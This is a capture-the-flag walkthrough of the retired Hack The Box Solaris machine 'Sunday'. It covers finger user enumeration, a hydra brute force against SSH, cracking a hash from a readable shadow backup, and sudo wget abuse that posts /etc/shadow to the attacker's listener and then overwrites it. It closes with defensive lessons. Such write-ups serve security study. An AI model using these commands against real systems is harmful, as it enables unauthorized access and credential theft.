the_open_door
coffee
ESEN

Sunday

HackTheBoxEasySolaris10.129.73.1527 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#solaris#finger#user-enumeration#hydra#brute-force#bash-history#shadow#hash-cracking#sudo#wget#oscp
TL;DR. Sunday is an easy Solaris box, and the first thing that stands out is the TTL: it comes back as 254, not 63. The scan leaves five ports and the one that opens the box is 79, the ancient finger service (finger enumeration), which tells anyone who asks who has an account on the system. With user enumeration two real people show up among the system accounts, sunny and sammy, and a dictionary attack with hydra against SSH (which is not on 22 but on 22022) yields sunny:sunday. Inside, the user's own .bash_history recounts what the administrator did, including a cat /backup/shadow.backup: there is sammy's hash, which falls to john. And sammy can run wget through sudo with no password, which is not a download tool but two primitives: --post-file to exfiltrate /etc/shadow and -O to overwrite it with one where root has whatever password we like (sudo abuse with a legitimate binary).
About the evidence. This box has no captures at all: the source note is complete text and every output is transcribed in each tool's standard format. Cuts are marked with .... Both flags and the hashes are published in full because the box is retired.

Reconnaissance#

Initial scan#

We start with a ping. The TTL field of the reply hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. The two values you expect are 64 (Linux) and 128 (Windows). Here it comes back as 254, which is the third one on the list: 255, where Solaris and most network gear start.


ping -c 1 10.129.73.152
64 bytes from 10.129.73.152: icmp_seq=1 ttl=254 time=29.9 ms

Before TCP, a pass over UDP on the thousand most common ports. It returns one:


sudo nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.129.73.152 | grep -v 'no-response'
PORT      STATE         SERVICE           REASON
111/udp   open          rpcbind           udp-response ttl 254

nmap -p111 -sUCV 10.129.73.152 -oN UDPtargetedScan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-09 11:15 +0000
Nmap scan report for 10.129.73.152
Host is up (0.024s latency).

PORT    STATE SERVICE VERSION
111/udp open  rpcbind 2-4 (RPC #100000)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds

And the full TCP scan of all 65535 ports, which is the one that brings the goods: five ports and not one of the usual suspects. No 80, no 443 and no 22.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.73.152 -oG scan
...
PORT      STATE SERVICE   REASON
79/tcp    open  finger    syn-ack ttl 59
111/tcp   open  rpcbind   syn-ack ttl 63
515/tcp   open  printer   syn-ack ttl 59
6787/tcp  open  smc-admin syn-ack ttl 59
22022/tcp open  unknown   syn-ack ttl 63

The -sCV names all five. 22022 is an OpenSSH 8.4: SSH is there, just moved. 6787 is the Apache of the Solaris administration console. And 79 is finger, which nmap cannot quite identify but whose answer gives it away completely: No one logged on and a Login Name TTY Idle When Where header.


nmap -p79,111,515,6787,22022 -sCV 10.129.73.152 -oN targetedScan
PORT      STATE SERVICE VERSION
79/tcp    open  finger?
|_finger: No one logged on\x0D
| fingerprint-strings:
|   GenericLines:
|     No one logged on
|   GetRequest:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
|   Help:
|     Login Name TTY Idle When Where
|     HELP ???
|   RTSPRequest:
|     Login Name TTY Idle When Where
|     OPTIONS ???
|     RTSP/1.0 ???
|   SSLSessionReq, TerminalServerCookie:
|_    Login Name TTY Idle When Where
111/tcp   open  rpcbind 2-4 (RPC #100000)
515/tcp   open  printer
6787/tcp  open  http    Apache httpd
|_http-title: 400 Bad Request
|_http-server-header: Apache
22022/tcp open  ssh     OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|_  256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)
...

Shell as sunny#

finger - TCP 79#

finger is from 1977 and its purpose is exactly the one that helps us: ask a system about a user and have it answer. It requires no authentication. The protocol is so simple you do not even need a client: open the port, send the name and read.


echo "root" | nc -vn 10.129.73.152 79
(UNKNOWN) [10.129.73.152] 79 (finger) open
Login       Name               TTY         Idle    When    Where
root     Super-User            console      <Dec  7, 2023>

echo "www-data" | nc -vn 10.129.73.152 79
(UNKNOWN) [10.129.73.152] 79 (finger) open
Login       Name               TTY         Idle    When    Where
www-data              ???

The difference between those two answers is what turns this into an oracle: root exists and the server returns its record; www-data does not, and it returns ???.

And there is a second behaviour that multiplies the yield: Solaris's finger does not only match the account name, it also matches the GECOS field, the real name. Asking for admin returns every account whose description contains "Admin":


finger admin@10.129.73.152
Login       Name               TTY         Idle    When    Where
adm      Admin                              < .  .  .  . >
dladm    Datalink Admin                     < .  .  .  . >
netadm   Network Admin                      < .  .  .  . >
netcfg   Network Configuratio               < .  .  .  . >
dhcpserv DHCP Configuration A               < .  .  .  . >
ikeuser  IKE Admin                          < .  .  .  . >
lp       Line Printer Admin                 < .  .  .  . >

finger root@10.129.73.152
Login       Name               TTY         Idle    When    Where
root     Super-User            console      <Dec  7, 2023>

finger user@10.129.73.152
Login       Name               TTY         Idle    When    Where
aiuser   AI User                            < .  .  .  . >
openldap OpenLDAP User                      < .  .  .  . >
nobody   NFS Anonymous Access               < .  .  .  . >
noaccess No Access User                     < .  .  .  . >
nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >

Enumerating with a wordlist#

Doing it by hand gives the mechanism; a wordlist gives the list. pentestmonkey's finger-user-enum.pl does exactly that: one query per name, keeping the ones that answer.


wget -4 https://raw.githubusercontent.com/pentestmonkey/finger-user-enum/refs/heads/master/finger-user-enum.pl
...
2026-10-09 11:24:06 (16.0 MB/s) - ‘finger-user-enum.pl’ saved [12477/12477]

perl finger-user-enum.pl -U /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 10.129.73.152
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
Target count ............. 1
Username count ........... 8295458
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Fri Oct  9 11:25:13 2026 #########
admin@10.129.73.152: Login       Name               TTY         Idle    When    Where..adm      Admin                              < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..netadm   Network Admin                      < .  .  .  . >..netcfg   Network Configuratio               < .  .  .  . >..dhcpserv DHCP Configuration A               < .  .  .  . >..ikeuser  IKE Admin                          < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..
root@10.129.73.152: root     Super-User            console      <Dec  7, 2023>..
access@10.129.73.152: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..
sammy@10.129.73.152: sammy           ???            ssh          <May  6, 2025> 10.10.14.68         ..
7777777@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
777777@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
777@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
sunny@10.129.73.152: sunny           ???            ssh          <Apr 13, 2022> 10.10.14.13         ..
bin@10.129.73.152: bin             ???                         < .  .  .  . >..
7777@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
network@10.129.73.152: Login       Name               TTY         Idle    When    Where..netadm   Network Admin                      < .  .  .  . >..netcfg   Network Configuratio               < .  .  .  . >..
nobody@10.129.73.152: nobody   NFS Anonymous Access               < .  .  .  . >..
77777777@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
77777@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
Admin@10.129.73.152: Admin                 < .  .  .  . >..
films+pic+galeries@10.129.73.152: Login       Name               TTY         Idle    When    Where..films+pic+galeries       ???..
printer@10.129.73.152: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..
7654321@10.129.73.152: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  < .  .  .  . >..
daemon@10.129.73.152: daemon          ???                         < .  .  .  . >.._ntp     NTP Daemon                         < .  .  .  . >..
...

Among the noise of service accounts there are two lines unlike all the others, those of sammy and sunny: they are the only ones carrying ssh in the TTY column, with a date and an IP they connected from (<May 6, 2025> 10.10.14.68 and <Apr 13, 2022> 10.10.14.13). They are not service accounts: they are people, and they have logged in over SSH.

A wordlist against 22022#

With a confirmed username and an exposed SSH, the next step is the oldest one in the book. hydra tries rockyou.txt against sunny and hits early: the password is the machine's own name.


hydra -l sunny -P /usr/share/wordlists/rockyou.txt ssh://10.129.73.152:22022 -t 64
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-09 11:47:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344414 login tries (l:1/p:14344414), ~224132 tries per task
[DATA] attacking ssh://10.129.73.152:22022/
[22022][ssh] host: 10.129.73.152   login: sunny   password: sunday
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 16 final worker threads did not complete until end.
[ERROR] 16 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-09 11:47:44

The two [ERROR] lines at the end are not a failure of the attack: they appear because hydra stops as soon as it finds the password and sixteen of its threads are left half-way. The line that matters is the other one, and it also confirms hydra's own warning above: with -t 64 against SSH you lose connections, and -t 4 is the sensible setting.


ssh sunny@10.129.73.152 -p 22022
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(sunny@10.129.73.152) Password:
Warning: at least 15 failed authentication attempts since last successful authentication.  The latest at Fri Oct 09 11:47 2026.
Warning: at least 15 failed authentication attempts since last successful authentication.  The latest at Fri Oct 09 11:47 2026.
Last login: Fri Oct  9 11:47:47 2026 from 10.10.15.120
Oracle Solaris 11.4.42.111.0                  Assembled December 2021
sunny@sunday:~$ id
uid=101(sunny) gid=10(staff)

The banner confirms what the TTL said: Oracle Solaris 11.4. And the box itself tells on the attack we just ran, with its fifteen failed attempts.

Shell as sammy#

Credentials in .bash_history#

The first thing to do in someone else's account is look at what whoever used it before did. sunny's .bash_history is not empty, and it repeats a lot: someone tried the same thing over and over.


cat .bash_history
su -
su -
cat /etc/resolv.conf
su -
ps auxwww|grep overwrite
su -
sudo -l
sudo /root/troll
ls /backup
ls -l /backup
cat /backup/shadow.backup
sudo /root/troll
sudo /root/troll
su -
sudo -l
sudo /root/troll
ps auxwww
ps auxwww
ps auxwww
top
top
top
ps auxwww|grep overwrite
su -
su -
cat /etc/resolv.conf
ps auxwww|grep over
sudo -l
sudo /root/troll
sudo /root/troll
sudo /root/troll
sudo /root/troll

Between the su - and the sudo /root/troll there are three lines pointing at one place: ls /backup, ls -l /backup and cat /backup/shadow.backup. A history is not only what someone did: it is a map of where they looked.


cat /backup/shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

A copy of /etc/shadow readable by a normal user. The last two lines belong to the two people, and the leading $5$ names the algorithm: SHA-256 crypt.

sammy's hash#


nano hash

cat hash
─────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
     │ File: hash
─────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1 │ $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
─────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
cooldude!        (?)
...

sammy's password is cooldude! (hash cracking).


su sammy
Password:
sunny@sunday:~$ cd /home/sammy
sammy@sunday:/home/sammy$ cat user.txt
c9e2f837e0e03b6d28f58fc6048ad288

Shell as root#

sudo wget: pulling /etc/shadow#


sudo -l
User sammy may run the following commands on sunday:
    (root) NOPASSWD: /usr/bin/wget

One binary, no password, as root. wget looks harmless because its job is fetching files, but as root it has two capabilities that are not downloading anything (sudo abuse):

  • --post-file=<path> sends the contents of a local file in the body of a POST request. That is, it reads any file on the system with root's permissions and ships it to us.
  • -O <path> decides where the download is written. That is, it writes any file on the system with root's permissions.

The first one exfiltrates /etc/shadow. Note the command carries two loose arguments (10.10.15.120 and 4444): wget treats both as URLs and tries them in order, so the request goes out against http://10.10.15.120/, that is port 80, which is where it has to be caught.


sudo /usr/bin/wget --post-file=/etc/shadow 10.10.15.120 4444
--2026-10-09 12:00:14--  http://10.10.15.120/

nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.15.120] from (UNKNOWN) [10.129.73.152] 52572
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (solaris2.11)
Accept: */*
Accept-Encoding: identity
Host: 10.10.15.120
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 779

root:$5$rounds=10000$fIoXFZ5A$k7PlwsiH0wAyVOcKaAYl/Mo1Iq6XYfJlFXs58aA4Sr3:18969::::::40699777
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
dladm:*LK*:17760::::::
netadm:*LK*:17760::::::
netcfg:*LK*:17760::::::
dhcpserv:*LK*:17760::::::
ftp:*LK*:17760::::::
sshd:*LK*:17760::::::
smmsp:NP:17760::::::
aiuser:*LK*:17760::::::
ikeuser:*LK*:17760::::::
lp:NP:6445::::::
openldap:NP:17760::::::
webservd:*LK*:17760::::::
unknown:*LK*:17760::::::
pkg5srv:NP:17760::::::
nobody:*LK*:17760::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$rounds=10000$lUpW4prM$aKFJxjI7vlcj5DDvwIgYGy707a84mIEi0ZQK3XIDqT2:18980::::::40446672
sunny:$5$rounds=10000$bioFdRBN$1TTdfQFfhjNicxWhH07f8BIHABZ8di01CXWYTT5rMn9:18980::::::40446592
_ntp:*LK*:19698::::::

The real /etc/shadow, with root's hash. Note it is not the same one as in the /backup copy: that one was old (plain $5$) and this one carries $5$rounds=10000$, that is, more iterations and a different salt.

Giving the file back with a different password#

Rather than trying to break root's hash, it is shorter to change it. We save the shadow we just received, generate a new hash with a password of our own and replace root's line.


nano shadow

openssl passwd -6 -salt 'salt' 'password'
$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.

cat shadow
─────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
     │ File: shadow
─────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1 │ root:$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.:18969::::::40699777
   2 │ daemon:NP:6445::::::
   3 │ bin:NP:6445::::::
   4 │ sys:NP:6445::::::
   5 │ adm:NP:6445::::::
   6 │ dladm:*LK*:17760::::::
   7 │ netadm:*LK*:17760::::::
   8 │ netcfg:*LK*:17760::::::
   9 │ dhcpserv:*LK*:17760::::::
  10 │ ftp:*LK*:17760::::::
  11 │ sshd:*LK*:17760::::::
  12 │ smmsp:NP:17760::::::
  13 │ aiuser:*LK*:17760::::::
  14 │ ikeuser:*LK*:17760::::::
  15 │ lp:NP:6445::::::
  16 │ openldap:NP:17760::::::
  17 │ webservd:*LK*:17760::::::
  18 │ unknown:*LK*:17760::::::
  19 │ pkg5srv:NP:17760::::::
  20 │ nobody:*LK*:17760::::::
  21 │ noaccess:*LK*:6445::::::
  22 │ nobody4:*LK*:6445::::::
  23 │ sammy:$5$rounds=10000$lUpW4prM$aKFJxjI7vlcj5DDvwIgYGy707a84mIEi0ZQK3XIDqT2:18980::::::40446672
  24 │ sunny:$5$rounds=10000$bioFdRBN$1TTdfQFfhjNicxWhH07f8BIHABZ8di01CXWYTT5rMn9:18980::::::40446592
  25 │ _ntp:*LK*:19698::::::
─────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Only line 1 changes: root's hash is now the one for password. The rest of the file is left intact on purpose, because overwriting /etc/shadow with fewer accounts than it had breaks the system.


python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And the second primitive: -O /etc/shadow makes wget, as root, write what it downloads on top of the password file.


sudo /usr/bin/wget http://10.10.15.120:8000/shadow -O /etc/shadow
...
2026-10-09 12:22:04 (216 KB/s) - ‘/etc/shadow’ saved [805/805]

su root
Password:
Warning: 1 failed authentication attempt at Fri Oct 09 11:36 2026 since last successful authentication.
# whoami
root
# cat /root/root.txt
cc21857ba93a28e0680de34ea22f5775

Box rooted.

Attack chain#

ping ttl=254  ─►  no es Linux ni Windows: Solaris
  │  nmap -p-  ─►  79 finger, 111, 515, 6787 y SSH en el 22022 (no en el 22)
  ▼
finger (79)  ─►  responde quien tiene cuenta, y busca tambien por el campo GECOS
  │  finger-user-enum con diccionario  ─►  sammy y sunny tienen TTY ssh
  ▼
hydra -l sunny contra el 22022  ─►  sunny:sunday
  │  .bash_history  ─►  cat /backup/shadow.backup
  ▼
hash $5$ de sammy  ─►  john  ─►  cooldude!  ─►  su sammy  ─►  user.txt
  │  sudo -l: (root) NOPASSWD: /usr/bin/wget
  ▼
wget --post-file=/etc/shadow  ─►  exfiltra el shadow real
wget -O /etc/shadow           ─►  lo sobrescribe con un hash nuestro  ─►  su root  ─►  root.txt

Lessons learned#

  • The TTL has more than two answers. 64 is Linux and 128 is Windows, but 255 is the third family: Solaris and network gear. Recognising it here saves half an hour of throwing Linux exploits at a box that is not one.
  • A service from 1977 is still a service. finger was not there for decoration: it answered, without authentication, anyone asking who had an account, and it matched the real name as well as the login. What you scan is all 65535 ports, not the usual twenty.
  • Moving SSH to another port is not protecting it. 22022 stopped nothing: the full scan found it anyway, and sunny's password was the machine's own name. An SSH is defended with key authentication and attempt throttling, not with a port number.
  • The shell history is free enumeration. sunny's .bash_history recounted where the administrator had looked, and /backup/shadow.backup was right there. A world-readable backup of the password file is the same flaw as the original, just under a different name.
  • sudo over a network binary is two primitives, not one. wget with --post-file reads any file as root and with -O writes any file as root. A sudoers list should be read for what the binary can do with privileges, not for what it is "meant for".
  • Against an expensive hash, you do not always have to break it. Root's carried rounds=10000. It was shorter to generate our own with openssl passwd and hand the whole file back, leaving the other lines intact so the system was not left without accounts.
Command cheatsheet 14 commands

Quick review